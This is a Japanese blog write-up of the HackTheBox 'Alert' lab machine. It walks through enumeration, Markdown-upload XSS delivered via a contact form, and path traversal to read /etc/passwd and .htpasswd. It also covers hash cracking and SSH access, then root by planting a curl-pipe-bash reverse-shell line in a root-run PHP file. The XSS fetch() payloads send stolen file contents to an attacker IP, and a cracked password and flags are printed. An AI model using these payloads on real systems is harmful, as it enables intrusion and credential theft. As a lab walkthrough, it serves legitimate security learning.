1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackTheBox】Alert:Writeup

Posted at

概要

HackTheBox「Alert」のWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sVC -T4 -A -p- 10.10.11.44 -oN nmap_result
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp    open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.2p1
80 http Apache httpd 2.4.41

ドメインが分かったので/etc/hostsに追記します。

10.10.11.44     alert.htb

80番ポートにアクセスし、Webアプリケーションを確認出来ました。

image.png

ディレクトリスキャンをします。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://alert.htb/FUZZ -recursion -recursion-depth 1 -ic -c -e .php

contact.php             [Status: 200, Size: 24, Words: 3, Lines: 2, Duration: 259ms]
index.php               [Status: 302, Size: 660, Words: 123, Lines: 24, Duration: 256ms]
uploads                 [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 255ms]
css                     [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 256ms]
messages.php            [Status: 200, Size: 1, Words: 1, Lines: 2, Duration: 380ms]
messages                [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 382ms]

messages.phpでは何もコンテンツが返ってきませんでした。

$ curl -v http://alert.htb/messages.php    
* Host alert.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.44
*   Trying 10.10.11.44:80...
* Connected to alert.htb (10.10.11.44) port 80
* using HTTP/1.x
> GET /messages.php HTTP/1.1
> Host: alert.htb
> User-Agent: curl/8.10.1
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Fri, 03 Jan 2025 13:27:54 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Content-Length: 1
< Content-Type: text/html; charset=UTF-8
< 

* Connection #0 to host alert.htb left intact

サブドメインを列挙をし、statisticsを発見しました。

$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.alert.htb" -u http://alert.htb -fw 20

statistics              [Status: 401, Size: 467, Words: 42, Lines: 15, Duration: 250ms]

/etc/hostsに追記します。

10.10.11.44     alert.htb statistics.alert.htb

statistics.alert.htbにはHTTP Basic認証がかかっています。

image.png

アプリケーションの動作を確認します。

/index.php?page=alertでは.mdファイルをアップロード出来ます。

2025-01-03 (6).png

アップロード可能なファイル拡張子は.mdに限定されています。

2025-01-03 (7).png

ファイルをアップロードするとアップロードしたMarkdownファイルのコンテンツが表示されます。

2025-01-03 (9).png

右下のShare Markdownをクリックすると?link_share=パラメータが付与されたページに遷移します。

2025-01-03 (10).png

contact.phpではメールアドレスとメッセージを送信できます。

2025-01-03 (8).png

Markdownファイルをアップロード、表示出来るのでXSSを試みると成功しました。

image.png

image.png

しかし、セルフXSSでは侵入できそうにないので、別ユーザー側でXSSを発火させたいです。

アプリケーションの動作を確認していると、contact.phpmessageパラメータにURLを指定することで、サーバー側からローカルマシンにアクセスさせる事が出来ると分かりました。

2025-01-03 (5).png

$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.44 - - [03/Jan/2025 08:33:13] code 404, message File not found
10.10.11.44 - - [03/Jan/2025 08:33:13] "GET /hello HTTP/1.1" 404 -

JSファイルやPHPファイルを取得させましたが、実行はされていないようです。

さらにアプリケーションをテストしていると、XSSコードを書いたMarkdownファイルをアップロードし、Share MarkdownページのURLをcontact.phpで送信すればターゲットマシン上でXSSを発火できると分かりました。

test.md
<script>fetch("http://10.10.14.11/fromfetch");</script>

2025-01-03 (11).png

10.10.11.44 - - [03/Jan/2025 09:08:08] code 404, message File not found
10.10.11.44 - - [03/Jan/2025 09:08:08] "GET /fromfetch HTTP/1.1" 404 -

まずCookieの取得を試みましたが、失敗しました。

test.md
<script>fetch('http://10.10.14.11/collect?data=' + document.cookie);</script>

messages.phpの挙動が不審だったので、XSSを利用してアクセスさせると、レスポンスの内容からmessages?file=というパスが得られました。

test.md
<script>
fetch('http://alert.htb/messages.php').then(response => response.text()).then(data => {const encodedData = encodeURIComponent(data);fetch(`http://10.10.14.10/collect?data=${encodedData}`);});
</script>
10.10.11.44 - - [25/Dec/2024 18:19:06] "GET /collect?data=%3Ch1%3EMessages%3C%2Fh1%3E%3Cul%3E%3Cli%3E%3Ca%20href%3D%27messages.php%3Ffile%3D2024-03-10_15-48-34.txt%27%3E2024-03-10_15-48-34.txt%3C%2Fa%3E%3C%2Fli%3E%3C%2Ful%3E%0A HTTP/1.1" 404 -

image.png

/messages.php?file=2024-03-10_15-48-34.txtにアクセスしましたが、コンテンツは返ってきませんでした。

$ curl -v http://alert.htb/messages.php?file=2024-03-10_15-48-34.txt
* Host alert.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.44
*   Trying 10.10.11.44:80...
* Connected to alert.htb (10.10.11.44) port 80
* using HTTP/1.x
> GET /messages.php?file=2024-03-10_15-48-34.txt HTTP/1.1
> Host: alert.htb
> User-Agent: curl/8.10.1
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Fri, 03 Jan 2025 14:20:17 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Content-Length: 1
< Content-Type: text/html; charset=UTF-8
< 

* Connection #0 to host alert.htb left intact

?file=パラメータを利用してパストラバーサルができるかもしれません。
試しに?file=../../../../../../etc/passwdというパラメータでXSSをすると、/etc/passwdの内容を取得できました。

test.md
<script>
fetch('http://alert.htb/messages.php?file=../../../../../../etc/passwd').then(response => response.text()).then(data => {const encodedData = encodeURIComponent(data);fetch(`http://10.10.14.11/collect?data=${encodedData}`);});
</script>
10.10.11.44 - - [01/Jan/2025 01:35:48] "GET /collect?data=%3Cpre%3Eroot%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fbash%0Adaemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fusr%2Fsbin%2Fnologin%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%0Asys%3Ax%3A3%3A3%3Asys%3A%2Fdev%3A%2Fusr%2Fsbin%2Fnologin%0Async%3Ax%3A4%3A65534%3Async%3A%2Fbin%3A%2Fbin%2Fsync%0Agames%3Ax%3A5%3A60%3Agames%3A%2Fusr%2Fgames%3A%2Fusr%2Fsbin%2Fnologin%0Aman%3Ax%3A6%3A12%3Aman%3A%2Fvar%2Fcache%2Fman%3A%2Fusr%2Fsbin%2Fnologin%0Alp%3Ax%3A7%3A7%3Alp%3A%2Fvar%2Fspool%2Flpd%3A%2Fusr%2Fsbin%2Fnologin%0Amail%3Ax%3A8%3A8%3Amail%3A%2Fvar%2Fmail%3A%2Fusr%2Fsbin%2Fnologin%0Anews%3Ax%3A9%3A9%3Anews%3A%2Fvar%2Fspool%2Fnews%3A%2Fusr%2Fsbin%2Fnologin%0Auucp%3Ax%3A10%3A10%3Auucp%3A%2Fvar%2Fspool%2Fuucp%3A%2Fusr%2Fsbin%2Fnologin%0Aproxy%3Ax%3A13%3A13%3Aproxy%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%0Awww-data%3Ax%3A33%3A33%3Awww-data%3A%2Fvar%2Fwww%3A%2Fusr%2Fsbin%2Fnologin%0Abackup%3Ax%3A34%3A34%3Abackup%3A%2Fvar%2Fbackups%3A%2Fusr%2Fsbin%2Fnologin%0Alist%3Ax%3A38%3A38%3AMailing%20List%20Manager%3A%2Fvar%2Flist%3A%2Fusr%2Fsbin%2Fnologin%0Airc%3Ax%3A39%3A39%3Aircd%3A%2Fvar%2Frun%2Fircd%3A%2Fusr%2Fsbin%2Fnologin%0Agnats%3Ax%3A41%3A41%3AGnats%20Bug-Reporting%20System%20(admin)%3A%2Fvar%2Flib%2Fgnats%3A%2Fusr%2Fsbin%2Fnologin%0Anobody%3Ax%3A65534%3A65534%3Anobody%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-network%3Ax%3A100%3A102%3Asystemd%20Network%20Management%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-resolve%3Ax%3A101%3A103%3Asystemd%20Resolver%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-timesync%3Ax%3A102%3A104%3Asystemd%20Time%20Synchronization%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Amessagebus%3Ax%3A103%3A106%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Asyslog%3Ax%3A104%3A110%3A%3A%2Fhome%2Fsyslog%3A%2Fusr%2Fsbin%2Fnologin%0A_apt%3Ax%3A105%3A65534%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Atss%3Ax%3A106%3A111%3ATPM%20software%20stack%2C%2C%2C%3A%2Fvar%2Flib%2Ftpm%3A%2Fbin%2Ffalse%0Auuidd%3Ax%3A107%3A112%3A%3A%2Frun%2Fuuidd%3A%2Fusr%2Fsbin%2Fnologin%0Atcpdump%3Ax%3A108%3A113%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Alandscape%3Ax%3A109%3A115%3A%3A%2Fvar%2Flib%2Flandscape%3A%2Fusr%2Fsbin%2Fnologin%0Apollinate%3Ax%3A110%3A1%3A%3A%2Fvar%2Fcache%2Fpollinate%3A%2Fbin%2Ffalse%0Afwupd-refresh%3Ax%3A111%3A116%3Afwupd-refresh%20user%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Ausbmux%3Ax%3A112%3A46%3Ausbmux%20daemon%2C%2C%2C%3A%2Fvar%2Flib%2Fusbmux%3A%2Fusr%2Fsbin%2Fnologin%0Asshd%3Ax%3A113%3A65534%3A%3A%2Frun%2Fsshd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-coredump%3Ax%3A999%3A999%3Asystemd%20Core%20Dumper%3A%2F%3A%2Fusr%2Fsbin%2Fnologin%0Aalbert%3Ax%3A1000%3A1000%3Aalbert%3A%2Fhome%2Falbert%3A%2Fbin%2Fbash%0Alxd%3Ax%3A998%3A100%3A%3A%2Fvar%2Fsnap%2Flxd%2Fcommon%2Flxd%3A%2Fbin%2Ffalse%0Adavid%3Ax%3A1001%3A1002%3A%2C%2C%2C%3A%2Fhome%2Fdavid%3A%2Fbin%2Fbash%0A%3C%2Fpre%3E%0A HTTP/1.1" 404 -

2025-01-03 (12).png

Apacheの構成を調べるために/etc/apache2/sites-enabled/000-default.confの内容を取得してみます。

test.md
<script>
fetch('http://alert.htb/messages.php?file=../../../../../../etc/apache2/sites-enabled/000-default.conf').then(response => response.text()).then(data => {const encodedData = encodeURIComponent(data);fetch(`http://10.10.14.11/collect?data=${encodedData}`);});
</script>
10.10.11.44 - - [03/Jan/2025 09:32:15] "GET /collect?data=%3Cpre%3E%3CVirtualHost%20*%3A80%3E%0A%20%20%20%20ServerName%20alert.htb%0A%0A%20%20%20%20DocumentRoot%20%2Fvar%2Fwww%2Falert.htb%0A%0A%20%20%20%20%3CDirectory%20%2Fvar%2Fwww%2Falert.htb%3E%0A%20%20%20%20%20%20%20%20Options%20FollowSymLinks%20MultiViews%0A%20%20%20%20%20%20%20%20AllowOverride%20All%0A%20%20%20%20%3C%2FDirectory%3E%0A%0A%20%20%20%20RewriteEngine%20On%0A%20%20%20%20RewriteCond%20%25%7BHTTP_HOST%7D%20!%5Ealert%5C.htb%24%0A%20%20%20%20RewriteCond%20%25%7BHTTP_HOST%7D%20!%5E%24%0A%20%20%20%20RewriteRule%20%5E%2F%3F(.*)%24%20http%3A%2F%2Falert.htb%2F%241%20%5BR%3D301%2CL%5D%0A%0A%20%20%20%20ErrorLog%20%24%7BAPACHE_LOG_DIR%7D%2Ferror.log%0A%20%20%20%20CustomLog%20%24%7BAPACHE_LOG_DIR%7D%2Faccess.log%20combined%0A%3C%2FVirtualHost%3E%0A%0A%3CVirtualHost%20*%3A80%3E%0A%20%20%20%20ServerName%20statistics.alert.htb%0A%0A%20%20%20%20DocumentRoot%20%2Fvar%2Fwww%2Fstatistics.alert.htb%0A%0A%20%20%20%20%3CDirectory%20%2Fvar%2Fwww%2Fstatistics.alert.htb%3E%0A%20%20%20%20%20%20%20%20Options%20FollowSymLinks%20MultiViews%0A%20%20%20%20%20%20%20%20AllowOverride%20All%0A%20%20%20%20%3C%2FDirectory%3E%0A%0A%20%20%20%20%3CDirectory%20%2Fvar%2Fwww%2Fstatistics.alert.htb%3E%0A%20%20%20%20%20%20%20%20Options%20Indexes%20FollowSymLinks%20MultiViews%0A%20%20%20%20%20%20%20%20AllowOverride%20All%0A%20%20%20%20%20%20%20%20AuthType%20Basic%0A%20%20%20%20%20%20%20%20AuthName%20%22Restricted%20Area%22%0A%20%20%20%20%20%20%20%20AuthUserFile%20%2Fvar%2Fwww%2Fstatistics.alert.htb%2F.htpasswd%0A%20%20%20%20%20%20%20%20Require%20valid-user%0A%20%20%20%20%3C%2FDirectory%3E%0A%0A%20%20%20%20ErrorLog%20%24%7BAPACHE_LOG_DIR%7D%2Ferror.log%0A%20%20%20%20CustomLog%20%24%7BAPACHE_LOG_DIR%7D%2Faccess.log%20combined%0A%3C%2FVirtualHost%3E%0A%0A%3C%2Fpre%3E%0A HTTP/1.1" 404 -

レスポンスから設定を確認すると、statistics.alert.htbのBasic認証情報が/var/www/statistics.alert.htb/.htpasswdにあると分かりました。

2025-01-03 (13).png

/var/www/statistics.alert.htb/.htpasswdの内容を取得し、albertアカウントのパスワードハッシュ値を得られました。

test.md
<script>
fetch('http://alert.htb/messages.php?file=../../../../../../var/www/statistics.alert.htb/.htpasswd').then(response => response.text()).then(data => {const encodedData = encodeURIComponent(data);fetch(`http://10.10.14.11/collect?data=${encodedData}`);});
</script>
10.10.11.44 - - [01/Jan/2025 07:42:03] "GET /collect?data=%3Cpre%3Ealbert%3A%24apr1%24bMoRBJOg%24igG8WBtQ1xYDTQdLjSWZQ%2F%0A%3C%2Fpre%3E%0A HTTP/1.1" 404 -

2025-01-03 (14).png

Hashcatのモード番号を調べると1600で解読できるようです。

2025-01-03 (4).png

Hashcatを実行し、パスワードの平文を得られました。

$ hashcat -a 0 -m 1600 albert_hash /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.6) starting

$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited

得られた認証情報でSSH接続に成功しました。

$ ssh albert@alert.htb
albert@alert:~$

/home/albert/user.txtからユーザーフラグを入手できました。

albert@alert:~$ cat /home/albert/user.txt
8280cd1753a06db6be80407122f311a6

Root Flag

pspyでプロセスを監視していると、以下の動作を繰り返していることが分かりました。

  • /root/scripts/config/configuration.php/opt/website-monitor/config/configuration.phpにコピー
  • chown/opt/website-monitor/configの所有グループをmanagementに変更
  • /opt/website-monitor/config/configuration.phpの実行
  • /root/scripts/php_bot.shの実行
  • sleep 3
2025/01/03 04:05:42 CMD: UID=0     PID=1441   | /usr/bin/php -f /opt/website-monitor/config/configuration.php 
2025/01/03 04:05:42 CMD: UID=0     PID=1442   | /usr/bin/cp /root/scripts/config/configuration.php /opt/website-monitor/config/ 
2025/01/03 04:05:42 CMD: UID=0     PID=1443   | /bin/bash /root/scripts/php_bot.sh 
2025/01/03 04:05:42 CMD: UID=0     PID=1444   | /bin/bash /root/scripts/php_bot.sh 
2025/01/03 04:05:42 CMD: UID=0     PID=1445   | basename /opt/website-monitor/config/configuration.php 
2025/01/03 04:05:42 CMD: UID=0     PID=1446   | 
2025/01/03 04:05:45 CMD: UID=0     PID=1447   | /usr/bin/php -f /opt/website-monitor/config/configuration.php 
2025/01/03 04:05:45 CMD: UID=0     PID=1448   | 
2025/01/03 04:05:45 CMD: UID=0     PID=1449   | 
2025/01/03 04:05:45 CMD: UID=0     PID=1450   | /usr/bin/chown -R :management /opt/website-monitor/config 
2025/01/03 04:05:45 CMD: UID=0     PID=1451   | basename /opt/website-monitor/config/configuration.php 
2025/01/03 04:05:45 CMD: UID=0     PID=1452   | /usr/bin/sleep 3 
2025/01/03 04:05:48 CMD: UID=0     PID=1453   | /usr/bin/php -f /opt/website-monitor/config/configuration.php 
2025/01/03 04:05:48 CMD: UID=0     PID=1454   | /bin/bash /root/scripts/php_bot.sh 
2025/01/03 04:05:48 CMD: UID=0     PID=1455   | 
2025/01/03 04:05:48 CMD: UID=0     PID=1456   | /usr/bin/chown -R :management /opt/website-monitor/config 
2025/01/03 04:05:48 CMD: UID=0     PID=1457   | /bin/bash /root/scripts/php_bot.sh 
2025/01/03 04:05:48 CMD: UID=0     PID=1458   | /usr/bin/sleep 3 

albertのグループを確認するとmanagementにも所属していると分かりました。

albert@alert:~$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)

/opt/website-monitor/config/configuration.phpの編集権限があるので、リバースシェルの内容に編集すれば権限昇格出来そうです。

albert@alert:~$ ls -la /opt/website-monitor/config/configuration.php 
-rwxrwxr-x 1 root management 49 Jan  3 15:01 /opt/website-monitor/config/configuration.php

プロセスを監視しつつ、コピーコマンドが実行され、/opt/website-monitor/config/configuration.phpが実行される前のタイミングでファイルを編集します。

$ echo "<?php exec('curl http://10.10.14.11:8000/shell.sh|bash');?>" > config/configuration.php

Netcatでリッスンしているとrootのシェルを取得できました。

$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.44] 52862
sh: 0: can't access tty; job control turned off
# whoami
root

/root/root.txtからルートフラグを入手できました。

# cat root.txt 
c51877c9692eecba7e4a71b5d020abaa
1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?